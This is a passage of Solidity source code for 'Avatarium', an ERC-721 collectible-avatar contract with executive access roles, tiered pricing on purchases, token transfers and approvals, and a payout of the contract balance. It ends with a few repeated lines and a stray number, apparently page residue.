require(msg.sender == addressCOO); _; } // @dev Access to the C-level in general. modifier onlyCLevel() { require(msg.sender == addressCEO || msg.sender == addressCOO); _; } // --- Constructor --- // function Avatarium() public { addressCEO = msg.sender; addressCOO = msg.sender; } // --- Public functions --- // //@dev Assigns a new address as the CEO. Only available to the current CEO. function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); addressCEO = _newCEO; } // @dev Assigns a new address as the COO. Only available to the current COO. function setCOO(address _newCOO) public onlyCEO { require(_newCOO != address(0)); addressCOO = _newCOO; } // @dev Grants another address the right to transfer a token via // takeOwnership() and transferFrom() function approve(address _to, uint256 _tokenId) public { // Check the ownership require(_owns(msg.sender, _tokenId)); avatarIndexToApproved[_tokenId] = _to; // Fire the event Approval(msg.sender, _to, _tokenId); } // @dev Checks the balanse of the address, ERC-721 compliance function balanceOf(address _owner) public view returns (uint256 balance) { return ownershipTokenCount[_owner]; } // @dev Creates a new Avatar function createAvatar(string _name, uint256 _rank) public onlyCLevel { _createAvatar(_name, address(this), _rank); } // @dev Returns the information on a certain Avatar function getAvatar(uint256 _tokenId) public view returns ( string avatarName, uint256 sellingPrice, address owner ) { Avatar storage avatar = avatars[_tokenId]; avatarName = avatar.name; sellingPrice = avatarIndexToPrice[_tokenId]; owner = avatarIndexToOwner[_tokenId]; } function implementsERC721() public pure returns (bool) { return true; } // @dev Queries the owner of the token. function ownerOf(uint256 _tokenId) public view returns (address owner) { owner = avatarIndexToOwner[_tokenId]; require(owner != address(0)); } function payout(address _to) public onlyCLevel { _payout(_to); } // @dev Allows to purchase an Avatar for Ether. function purchase(uint256 _tokenId) public payable { address oldOwner = avatarIndexToOwner[_tokenId]; address newOwner = msg.sender; uint256 sellingPrice = avatarIndexToPrice[_tokenId]; require(oldOwner != newOwner); require(_addressNotNull(newOwner)); require(msg.value == sellingPrice); uint256 payment = uint256(SafeMath.div( SafeMath.mul(sellingPrice, 94), 100)); uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice); // Updating prices if (sellingPrice < firstIterationLimit) { // first stage avatarIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), 94); } else if (sellingPrice < secondIterationLimit) { // second stage avatarIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 120), 94); } else { // third stage avatarIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 115), 94); } _transfer(oldOwner, newOwner, _tokenId); // Pay previous token Owner, if it&#39;s not the contract if (oldOwner != address(this)) { oldOwner.transfer(payment); } // Fire event TokenSold( _tokenId, sellingPrice, avatarIndexToPrice[_tokenId], oldOwner, newOwner, avatars[_tokenId].name); // Transferring excessess back to the sender msg.sender.transfer(purchaseExcess); } // @dev Queries the price of a token. function priceOf(uint256 _tokenId) public view returns (uint256 price) { return avatarIndexToPrice[_tokenId]; } //@dev Allows pre-approved user to take ownership of a token. function takeOwnership(uint256 _tokenId) public { address newOwner = msg.sender; address oldOwner = avatarIndexToOwner[_tokenId]; // Safety check to prevent against an unexpected 0x0 default. require(_addressNotNull(newOwner)); //Making sure transfer is approved require(_approved(newOwner, _tokenId)); _transfer(oldOwner, newOwner, _tokenId); } // @dev Required for ERC-721 compliance. function totalSupply() public view returns (uint256 total) { return avatars.length; } // @dev Owner initates the transfer of the token to another account. function transfer( address _to, uint256 _tokenId ) public { require(_owns(msg.sender, _tokenId)); require(_addressNotNull(_to)); _transfer(msg.sender, _to, _tokenId); } // @dev Third-party initiates transfer of token from address _from to // address _to. function transferFrom( address _from, address _to, uint256 _tokenId ) public { require(_owns(_from, _tokenId)); require(_approved(_to, _tokenId)); require(_addressNotNull(_to)); _transfer(_from, _to, _tokenId); } // --- Private Functions --- // // Safety check on _to address to prevent against an unexpected 0x0 default. function _addressNotNull(address _to) private pure returns (bool) { return _to != address(0); } // For checking approval of transfer for address _to function _approved(address _to, uint256 _tokenId) private view returns (bool) { return avatarIndexToApproved[_tokenId] == _to; } // For creating Avatars. function _createAvatar( string _name, address _owner, uint256 _rank) private { // Getting the startingPrice uint256 _price; if (_rank == 1) { _price = startingPrice; } else if (_rank == 2) { _price = 2 * startingPrice; } else if (_rank == 3) { _price = SafeMath.mul(4, startingPrice); } else if (_rank == 4) { _price = SafeMath.mul(8, startingPrice); } else if (_rank == 5) { _price = SafeMath.mul(16, startingPrice); } else if (_rank == 6) { _price = SafeMath.mul(32, startingPrice); } else if (_rank == 7) { _price = SafeMath.mul(64, startingPrice); } else if (_rank == 8) { _price = SafeMath.mul(128, startingPrice); } else if (_rank == 9) { _price = SafeMath.mul(256, startingPrice); } Avatar memory _avatar = Avatar({name: _name}); uint256 newAvatarId = avatars.push(_avatar) - 1; avatarIndexToPrice[newAvatarId] = _price; // Fire event Birth(newAvatarId, _name, _owner); // Transfer token to the contract _transfer(address(0), _owner, newAvatarId); } // @dev Checks for token ownership. function _owns(address claimant, uint256 _tokenId) private view returns (bool) { return claimant == avatarIndexToOwner[_tokenId]; } // @dev Pays out balance on contract function _payout(address _to) private { if (_to == address(0)) { addressCEO.transfer(this.balance); } else { _to.transfer(this.balance); } } // @dev Assigns ownership of a specific Avatar to an address. function _transfer(address _from, address _to, uint256 _tokenId) private { ownershipTokenCount[_to]++; avatarIndexToOwner[_tokenId] = _to; if (_from != address(0)) { ownershipTokenCount[_from]--; delete avatarIndexToApproved[_tokenId]; } // Fire event Transfer(_from, _to, _tokenId); } }
Required for ERC-721 compliance.
function totalSupply() public view returns (uint256 total) { return avatars.length; }
6,799,650